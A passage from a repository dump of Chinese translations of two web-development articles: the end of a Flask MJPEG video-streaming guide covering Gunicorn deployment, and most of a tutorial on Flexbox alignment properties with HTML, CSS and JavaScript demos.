类的实现。\n\n为了让您了解性能改进的程度，请看一下，模拟相机驱动程序在此更改之前消耗了大约 96％ 的 CPU，因为它始终以远高于每秒生成一帧的速率发送重复帧。在这些更改之后，相同的流消耗大约 3％ 的CPU。在这两种情况下，都只有一个客户端查看视频流。OpenCV 驱动程序从单个客户端的大约 45％ CPU 降低到 12％，每个新客户端增加约 3％。\n\n## 部署 Web 服务器\n\n最后，我认为如果您打算真正使用此服务器，您应该使用比 Flask 附带的服务器更强大的 Web服务器。一个很好的选择是使用 Gunicorn：\n\n```\n$ pip install gunicorn\n```\n\n有了 Gunicorn，您可以按如下方式运行服务器（请记住首先将 `CAMERA` 环境变量设置为所选的摄像头驱动程序）：\n\n```\n$ gunicorn --threads 5 --workers 1 --bind 0.0.0.0:5000 app:app\n```\n\n`--threads 5` 选项告诉 Gunicorn 最多处理五个并发请求。这意味着设置了这个值之后，您最多可以同时拥有五个客户端来观看视频流。`--workers 1` 选项将服务器限制为单个进程。这是必需的，因为只有一个进程可以连接到摄像头以捕获帧。\n\n您可以增加一些线程数，但如果您发现需要大量线程，则使用异步框架比使用线程可能会更有效。可以将 Gunicorn 配置为使用与 Flask 兼容的两个框架：gevent 和 eventlet。为了使视频流服务器能够使用这些框架，相机后台线程还有一个小的补充：\n\n```\nclass BaseCamera(object):\n    # ...\n   @classmethod\n    def _thread(cls):\n        # ...\n        for frame in frames_iterator:\n            BaseCamera.frame = frame\n            BaseCamera.event.set()  # send signal to clients\n            time.sleep(0)\n            # ...\n```\n\n这里唯一的变化是在摄像头捕获循环中添加了 `sleep(0)`。这对于 eventlet 和 gevent 都是必需的，因为它们使用协作式多任务处理。这些框架实现并发的方式是让每个任务通过调用执行网络 I/O 的函数或显式执行以释放 CPU。由于此处没有 I/O，因此执行 sleep 函数以实现释放 CPU 的目的。\n\n现在您可以使用 gevent 或 eventlet worker 运行 Gunicorn，如下所示：\n\n```\n$ CAMERA=opencv gunicorn --worker-class gevent --workers 1 --bind 0.0.0.0:5000 app:app\n```\n\n这里的 `--worker-class gevent` 选项配置 Gunicorn 使用 gevent 框架（你必须用`pip install gevent`安装它）。如果你愿意，也可以使用 `--worker-class eventlet`。如上所述，`--workers 1` 限制为单个处理过程。Gunicorn 中的 eventlet 和 gevent workers 默认分配了一千个并发客户端，所以这应该超过了这种服务器能够支持的客户端数量。\n\n## 结论\n\n上述所有更改都包含在 [GitHub 仓库](https://github.com/miguelgrinberg/flask-video-streaming) 中。我希望你通过这些改进以获得更好的体验。\n\n在结束之前，我想提供有关此服务器的其他问题的快速解答：\n\n*  如何设定服务器以固定的帧速率运行？配置您的相机以该速率传送帧，然后在相机传送回路的每次迭代期间休眠足够的时间以便以该速率运行。\n\n*  如何提高帧速率？我在此描述的服务器，以尽可能快的速率提供视频帧。如果您需要更好的帧速率，可以尝试将相机配置成更小的视频帧。\n\n如何添加声音？那真的很难。Motion JPEG 格式不支持音频。你将需要使用单独的流传输音频，然后将音频播放器添加到 HTML 页面。即使你设法完成了所有的操作，音频和视频之间的同步也不会非常准确。\n\n如何将流保存到服务器上的磁盘中？只需将 JPEG 文件的序列保存在相机线程中即可。为此，你可能希望移除在没有查看器时结束后台线程的自动机制。\n\n如何将播放控件添加到视频播放器？Motion JPEG 不允许用户进行交互式操作，但如果你想要这个功能，只需要一点点技巧就可以实现播放控制。如果服务器保存所有 jpeg 图像，则可以通过让服务器一遍又一遍地传送相同的帧来实现暂停。当用户恢复播放时，服务器将必须提供从磁盘加载的“旧”图像，因为现在用户处于 DVR 模式而不是实时观看流。这可能是一个非常有趣的项目！\n\n以上就是本文的所有内容。如果你有其他问题，请告诉我们！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flexbox-alignment.md",
    "content": "> * 原文地址：[Everything You Need To Know About Alignment In Flexbox](https://www.smashingmagazine.com/2018/08/flexbox-alignment/)\n> * 原文作者：[Rachel Andrew](https://www.smashingmagazine.com/author/rachel-andrew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flexbox-alignment.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flexbox-alignment.md)\n> * 译者：[CodeMing](https://github.com/coderming)\n> * 校对者：[Augustwuli](https://github.com/Augustwuli)、[Ivocin](https://github.com/Ivocin)\n\n# 你需要知道的所有 Flexbox 排列方式\n\n**简论：** 在这篇文章中，我们将会在探讨一些基本规则的同时谈一谈 Flexbox 的排列属性以帮助我们知道横轴和竖轴上（元素的）对齐是如何实现的。\n\n[在这个系列的第一篇文章中](https://github.com/xitu/gold-miner/blob/master/TODO1/flexbox-display-flex-container.md)，我解释了当你把一个元素设置为 `display: flex` 时发生了什么。这次我们将会讨论下排列属性，同时也会讨论（这些属性）如何和 Flexbox 一起工作。如果你曾经对何时使用 align 属性和 justify 属性感到疑惑的话，我希望这篇文章将会让（排列的）问题变得清晰！\n如果你曾经对何时使用 align 属性和 justify 属性感到疑惑的话\n\n### Flexbox 排列方式的历史\n\n在整个 CSS 布局的历史中，如何能恰当地在横竖两轴正确排列元素估计是 Web 设计中最难的问题了。所以当浏览器中开始出现能够在两轴恰当地排列元素和元素组的 Flexbox 排列方式时，像你我一样的广大web开发者都为之激动不已。排列方式变得简单到只需要两行 CSS 代码：\n\nHTML:\n\n```html\n<div class=\"container\">\n  <div class=\"item\">Item</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  height: 300px;\n  width: 300px;\n  justify-content: center;\n  align-items: center;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: center an item](https://codepen.io/rachelandrew/pen/WKLYEX) 。\n\n你所了解的 flexbox 排列属性目前都已经完整地被收录到 [盒子元素排列规范](https://www.w3.org/TR/css-align-3/)中了。这个规范文档详细地说明了在各种布局情况下的元素排列如何工作。这意味着我们在使用 Flexbox 排列方式或者将来在不同布局情况下都可以在 CSS Grid 中使用相同的排列属性。因此，任何新的排列都会在新的盒子元素排列规范中指出，而不是新的 Flexbox 版本。（译者注：此处是新的特性是以新的排列属性/方法来创建的，而不是更新 Flexbox 版本）\n\n### 属性\n\n许多人告诉我他们在使用 flexbox 的时候很难区别是应该使用以 `align-` 还是 `justify-` 开头的属性。所以你需要知道：\n\n*   `justify-` 实现主轴上的排列方式。即排列与你的 `flex-direction` 相同的方向。\n*   `align-` 实现交叉轴上的排列方式。即排列与你的 `flex-direction` 相垂直的方向。\n\n在下文中，根据主轴和交叉轴而不是水平和垂直的方向来思考会更容易理解。（主轴和交叉轴）和物理方位一点关系都没有。\n\n#### 用 `justify-content` 来排列主轴\n\n我们将会从主轴排列来开始讨论。在主轴上，我们通过 `justify-content` 属性来实现排列。这个属性的作用对象是我们的所有 flexbox 子元素所组成的组。同时也控制着组内所有元素的间距。\n\n默认的 `justify-content` 值是 `flex-start`。这也就是为什么你声明 `display: flex` 之后你的所有 flexbox 子元素朝着你的 flex 盒子的开始排成一行。如果你有一个值为 `row` 的 `flex-direction` 属性同时页面是从左到右读的语言（例如英语）的话，这些字元素将会从左边开始排列。\n\n[![The items are all lined up in a row starting on the left](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/67648629-b445-429f-9fd4-0fb47b7875ef/justify-content-flex-start.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/67648629-b445-429f-9fd4-0fb47b7875ef/justify-content-flex-start.png) \n\n子元素从盒子的开始排列（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/67648629-b445-429f-9fd4-0fb47b7875ef/justify-content-flex-start.png))\n\n记住 `justify-content` 只会在 **盒子有剩余空间可以分配时** 发挥作用。所以如果你的子元素占满了主轴的空间的话，`justify-content` 将不会产生任何作用。\n\n[![The container is filled with the items](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/064418da-c45c-4fbf-9b4e-65c481c05c00/justify-content-no-space.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/064418da-c45c-4fbf-9b4e-65c481c05c00/justify-content-no-space.png) \n\n盒子没有任何剩余空间可以分配（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/064418da-c45c-4fbf-9b4e-65c481c05c00/justify-content-no-space.png)）\n\n如果将 `justify-content` 设置为 `flex-end` 的话，所有的元素将会移动到 flex 盒子的结束排成一行。空闲空间将会被移到 flex 盒子的开始之处。\n\n[![The items are displayed in a row starting at the end of the container — on the right](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/262c2132-a9bf-4c6c-90cd-4ec445c9f3e1/justify-content-flex-end.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/262c2132-a9bf-4c6c-90cd-4ec445c9f3e1/justify-content-flex-end.png) \n\n子元素从盒子的结束排列（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/262c2132-a9bf-4c6c-90cd-4ec445c9f3e1/justify-content-flex-end.png)）\n\n我们可以对这些剩余的区域做其他事情。我们可以通过 `justify-content: space-between`来让它分布在 flex 盒子的两个子元素之间。在这种情况下，最前和最后的两个子元素会贴着容器，同时所有的空间将会被平均分配在每一个子元素之间。\n\n[![Items lined up left and right with equal space between them](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e0df6bac-5250-47d2-82ed-da66306e7c95/justify-content-space-between.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e0df6bac-5250-47d2-82ed-da66306e7c95/justify-content-space-between.png) \n\n剩余空间分配在子元素之间（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e0df6bac-5250-47d2-82ed-da66306e7c95/justify-content-space-between.png)）\n\n我们也可以通过使用 `justify-content: space-around` 将这些空间环绕着 flex 盒子的子元素。在这种情况下，子元素将会均匀地分布在容器中，同时可用空间也会被这些元素分享。\n\n[![Items spaced out with even amounts of space on each side](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/acab1663-6d66-4d98-9d1c-2f2b98911bbe/justify-content-space-around.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/acab1663-6d66-4d98-9d1c-2f2b98911bbe/justify-content-space-around.png) \n\n子元素的两侧都有空间（[放大预览(https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/acab1663-6d66-4d98-9d1c-2f2b98911bbe/justify-content-space-around.png)）\n\n在盒子排列规范中可以找到一个 `justify-content` 的更新的值，它没有出现在 Flexbox 的规范中。它的值是`space-evenly`。在这种情况下，子元素会均匀分布在容器内，同时额外的空间将会被子元素的两侧所分享。\n\n[![Items with equal amounts of space between and on each end](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b8960c00-dd71-4147-bd7a-7a32bc98f08a/justify-content-space-evenly.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b8960c00-dd71-4147-bd7a-7a32bc98f08a/justify-content-space-evenly.png) \n\n元素均匀地分布在容器内（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/b8960c00-dd71-4147-bd7a-7a32bc98f08a/justify-content-space-evenly.png)）\n\n你可以在 demo 中尝试一下：\n\nHTML:\n\n```html\n<div class=\"controls\">\n<select id=\"justifyMe\">\n  <option value=\"flex-start\">flex-start</option>\n  <option value=\"flex-end\">flex-end</option>\n  <option value=\"center\">center</option>\n  <option value=\"space-around\">space-around</option>\n  <option value=\"space-between\">space-between</option>\n  <option value=\"space-evenly\">space-evenly</option>\n</select>\n\n</div>\n\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n  \n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.controls {\n  background-color: rgba(0,0,0,.1);\n  padding: 10px;\n  border-radius: .5em;\n  border: 1px solid rgba(0,0,0,.2);\n  margin: 0 0 2em 0\n}\n\n.controls select {\n  font-size: .9em;\n}\n```\n\nJavaScript:\n\n```js\nvar justify = document.getElementById(\"justifyMe\");\njustifyMe.addEventListener(\"change\", function (evt) {\n  document.getElementById(\"container\").style.justifyContent = evt.target.value;\n});\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: justify-content with flex-direction: row](https://codepen.io/rachelandrew/pen/Owraaj)\n\n这些值同样会在你的 `flex-direction` 为 `column` 时生效。你可能没有额外的空间来分配一个列，但你可以通过添加 height 属性或者是改变 flex 容器的大小来解决这个问题。就像下面这个 demo 一样。\n\nHTML:\n\n```html\n<div class=\"controls\">\n<select id=\"justifyMe\">\n  <option value=\"flex-start\">flex-start</option>\n  <option value=\"flex-end\">flex-end</option>\n  <option value=\"center\">center</option>\n  <option value=\"space-around\">space-around</option>\n  <option value=\"space-between\">space-between</option>\n  <option value=\"space-evenly\">space-evenly</option>\n</select>\n\n</div>\n\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  flex-direction: column;\n  height: 60vh;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.controls {\n  background-color: rgba(0,0,0,.1);\n  padding: 10px;\n  border-radius: .5em;\n  border: 1px solid rgba(0,0,0,.2);\n  margin: 0 0 2em 0\n}\n\n.controls select {\n  font-size: .9em;\n}\n```\n\nJavaScript:\n\n```js\nvar justify = document.getElementById(\"justifyMe\");\njustifyMe.addEventListener(\"change\", function (evt) {\n  document.getElementById(\"container\").style.justifyContent = evt.target.value;\n});\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: justify-content with flex-direction: column](https://codepen.io/rachelandrew/pen/zLyMyV)\n\n#### 用 `align-content` 来排列交叉轴\n\n如果你给你的 flex 容器添加了 `flex-wrap: wrap` 同时也有好几条 flex 排列行，那你可以用 `align-content` 属性来在交叉轴上排列你的 flex 排列行。不过，这将会需要交叉轴上有额外的空间。在下面这个 demo 中，我的交叉轴作为竖直的列在运行，同时我设置了这个 flex 容器的高度为 `60vh`。由于这个高度比我展示 flex 子元素所需的高度大，所以我的容器有了交叉轴方向上的空余空间。\n\n我可以使用下面所有的 `align-content` 属性值：\n\nHTML:\n\n```html\n<div class=\"controls\">\n<select id=\"alignMe\">\n  <option value=\"stretch\">stretch</option>\n  <option value=\"flex-start\">flex-start</option>\n  <option value=\"flex-end\">flex-end</option>\n  <option value=\"center\">center</option>\n  <option value=\"space-around\">space-around</option>\n  <option value=\"space-between\">space-between</option>\n  <option value=\"space-evenly\">space-evenly</option>\n</select>\n\n</div>\n\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n  <div class=\"item\">Four Four Four Four</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  max-width: 400px;\n  height: 60vh;\n  display: flex;\n  flex-wrap: wrap;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.controls {\n  background-color: rgba(0,0,0,.1);\n  padding: 10px;\n  border-radius: .5em;\n  border: 1px solid rgba(0,0,0,.2);\n  margin: 0 0 2em 0\n}\n\n.controls select {\n  font-size: .9em;\n}\n```\n\nJavaScript:\n\n```js\nvar align = document.getElementById(\"alignMe\");\nalignMe.addEventListener(\"change\", function (evt) {\n  document.getElementById(\"container\").style.alignContent = evt.target.value;\n});\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: align-content with flex-direction: row](https://codepen.io/rachelandrew/pen/pZqqMJ)\n\n如果我的 `flex-direction` 值为 `column` 的话，那 `align-content` 属性将像下面这个例子一样运行：\n\nHTML:\n\n```html\n<div class=\"controls\">\n<select id=\"alignMe\">\n  <option value=\"stretch\">stretch</option>\n  <option value=\"flex-start\">flex-start</option>\n  <option value=\"flex-end\">flex-end</option>\n  <option value=\"center\">center</option>\n  <option value=\"space-around\">space-around</option>\n  <option value=\"space-between\">space-between</option>\n  <option value=\"space-evenly\">space-evenly</option>\n</select>\n\n</div>\n\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n  <div class=\"item\">Four Four Four Four</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  max-width: 400px;\n  height: 60vh;\n  display: flex;\n  flex-wrap: wrap;\n  flex-direction: column;\n}\n\n.item {\n  height: 20vh;\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.controls {\n  background-color: rgba(0,0,0,.1);\n  padding: 10px;\n  border-radius: .5em;\n  border: 1px solid rgba(0,0,0,.2);\n  margin: 0 0 2em 0\n}\n\n.controls select {\n  font-size: .9em;\n}\n```\n\nJacaScript:\n\n```js\nvar align = document.getElementById(\"alignMe\");\nalignMe.addEventListener(\"change\", function (evt) {\n  document.getElementById(\"container\").style.alignContent = evt.target.value;\n});\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: align-content with flex-direction: column](https://codepen.io/rachelandrew/pen/MBZZNy)\n\n正如 `justify-content` 属性一样，我们的设置作用在（子元素所组成的）子元素组中，同时空余空间被分割。\n\n### 简写方法 `place-content` \n\n在盒子元素排列规范中，我们发现了一个简写方法 `place-content`。使用这个属性意味着你可以一次性设置 `justify-content` 和 `align-content`。它的第一个值是 `align-content`，第二个值是 `justify-content` 。如果你仅仅设置了一个值 A，那么这两个值都将设置成 A，因此：\n\n```\n.container {\n    place-content: space-between stretch;\n}\n```\n\n和下面一样：\n\n```\n.container {\n    align-content: space-between; \n    justify-content: stretch;\n}\n```\n\n如果我们使用：\n\n```\n.container {\n    place-content: space-between;\n}\n```\n\n那将和下面一样：\n\n```\n.container {\n    align-content: space-between; \n    justify-content: space-between;\n}\n```\n\n#### 用 `align-items` 来排列交叉轴\n\n我们现在知道，我们可以对（所有 flex 子元素所组成的）子元素组进行关于 flex 元素和 flex 排列行的操作。不过，我们希望有其它方式即通过声明元素与元素之间在数轴上的关系来操作我们的元素。你的 flex 容器有一个高度，这个高度可能是由容器内最高的子元素所决定的，就如下图一样。\n\n[![The container height is tall enough to contain the items, the third item has more content](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dabd13bf-bf9c-411f-86c0-d43cdfb935fe/container-height-of-item.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dabd13bf-bf9c-411f-86c0-d43cdfb935fe/container-height-of-item.png) \n\n容器的高度被第三个子元素所定义（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dabd13bf-bf9c-411f-86c0-d43cdfb935fe/container-height-of-item.png)）\n\nflex 容器的高度可以通过给 flex 容器添加一个 height 属性所代替：\n\n[![The container height is taller than needed to display the items](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c477a442-ea29-48cf-bed9-94b75593a1b2/container-added-height.png)]((https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c477a442-ea29-48cf-bed9-94b75593a1b2/container-added-height.png) )\n\n容器的高度通过该容器的大小属性所定义（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/c477a442-ea29-48cf-bed9-94b75593a1b2/container-added-height.png)）\n\nflex 子元素看起来都被拉伸到最高的子元素的高度的原因是 `align-items` 的初始值是 `stretch`。子元素们在交叉轴上被拉伸成 flex 容器在那个方向上的尺寸了。\n\n请记住哪里出现 `align-items` 会导致困惑：如果你有一个具有多个 flex 排列行的 flex 容器，那么每一个 flex 排列行都会像一个新的 flex 容器一样，（该行的）最高的 flex 子元素将会决定哪一行的所有 flex 子元素高度。\n\n除了设置拉伸的初始值之外，你也可以给 `align-items` 属性设置一个值 `flex-start`，在这种情况下 flex 子元素将会在容器的开始之处排列同时也不会拉伸。\n\n[![The items are aligned to the start](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7da24e8b-8d18-4ada-9f0e-e417e0293607/align-items-flex-start.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7da24e8b-8d18-4ada-9f0e-e417e0293607/align-items-flex-start.png) \n\nflex 子元素排列在交叉轴的开始之处（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7da24e8b-8d18-4ada-9f0e-e417e0293607/align-items-flex-start.png)）\n\n设置值 `flex-end` 将会把它们（flex 子元素）移到交叉轴的结束之处。\n\n[![Items aligned to the end of the cross axis](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52d4c377-8c60-4336-be64-f01cb9a20833/align-items-flex-end.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52d4c377-8c60-4336-be64-f01cb9a20833/align-items-flex-end.png) \n\nflex 子元素排列在交叉轴的结束之处（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52d4c377-8c60-4336-be64-f01cb9a20833/align-items-flex-end.png)）\n\n如果你使用值 `center` ，那 flex 子元素将会排列在交叉轴中央：\n\n[![The items are centered](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8ccb2aba-b692-4ba5-8827-1043674fc1d4/align-items-center.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8ccb2aba-b692-4ba5-8827-1043674fc1d4/align-items-center.png) \n\nflex 子元素排列在交叉轴中央（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8ccb2aba-b692-4ba5-8827-1043674fc1d4/align-items-center.png)）\n\n我们也可以设置依据文字基准线排列。这将会确保（flex 子元素）以文字的基准线排列，而不是盒子的边框。\n\n[![The items are aligned so their baselines match](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6607e8bc-9f6b-43a6-9b13-24bff76068f1/align-items-baseline.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6607e8bc-9f6b-43a6-9b13-24bff76068f1/align-items-baseline.png) \n\n根据文字基准线排列（[放大预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/6607e8bc-9f6b-43a6-9b13-24bff76068f1/align-items-baseline.png)）\n\n你可以尝试使用这个 demo 中的值：\n\nHTML:\n\n```html\n<div class=\"controls\">\n<select id=\"alignMe\">\n  <option value=\"stretch\">stretch</option>\n  <option value=\"flex-start\">flex-start</option>\n  <option value=\"flex-end\">flex-end</option>\n  <option value=\"center\">center</option>\n  <option value=\"baseline\">baseline</option>\n</select>\n\n</div>\n\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item large\">Three Three Three</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  height: 40vh;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n\n.large {\n  font-size: 150%;\n}\n\n.controls {\n  background-color: rgba(0,0,0,.1);\n  padding: 10px;\n  border-radius: .5em;\n  border: 1px solid rgba(0,0,0,.2);\n  margin: 0 0 2em 0\n}\n\n.controls select {\n  font-size: .9em;\n}\n```\n\nJacaScript:\n\n```js\nvar align = document.getElementById(\"alignMe\");\nalignMe.addEventListener(\"change\", function (evt) {\n  document.getElementById(\"container\").style.alignItems = evt.target.value;\n});\n```\n\n可以看由 Rachel Andrew ([@rachelandrew](https://codepen.io/rachelandrew)) 创建的在 [CodePen](https://codepen.io) 上的展示：[Smashing Flexbox Series 2: align-items](https://codepen.io/rachelandrew/pen/WKLBpv)\n\n#### 使用 `align-self` 来设置单个元素的排列\n\n`align-items` 意味着你可以一次设置所有的 flex 子元素。这个操作的真正原理是对所有的 flex 子元素一一设置其 `align-self` 值。当然你也可以任意单一的 flex 子元素设置 `align-self` 值来使其与同一个 flex 容器的其它 flex 子元素不一样。\n\n在下面的例子中，我使用了 `align-items` 属性来设置 flex 子元素组的排列方式是 `center`，但是同时也给第一个和最后一个设置了 `align-self` 属性来改变他们的排列方式。\n\nHTML:\n\n```html\n<div class=\"container\" id=\"container\">\n  <div class=\"item\">One</div>\n  <div class=\"item\">Two Two</div>\n  <div class=\"item\">Three Three Three</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, 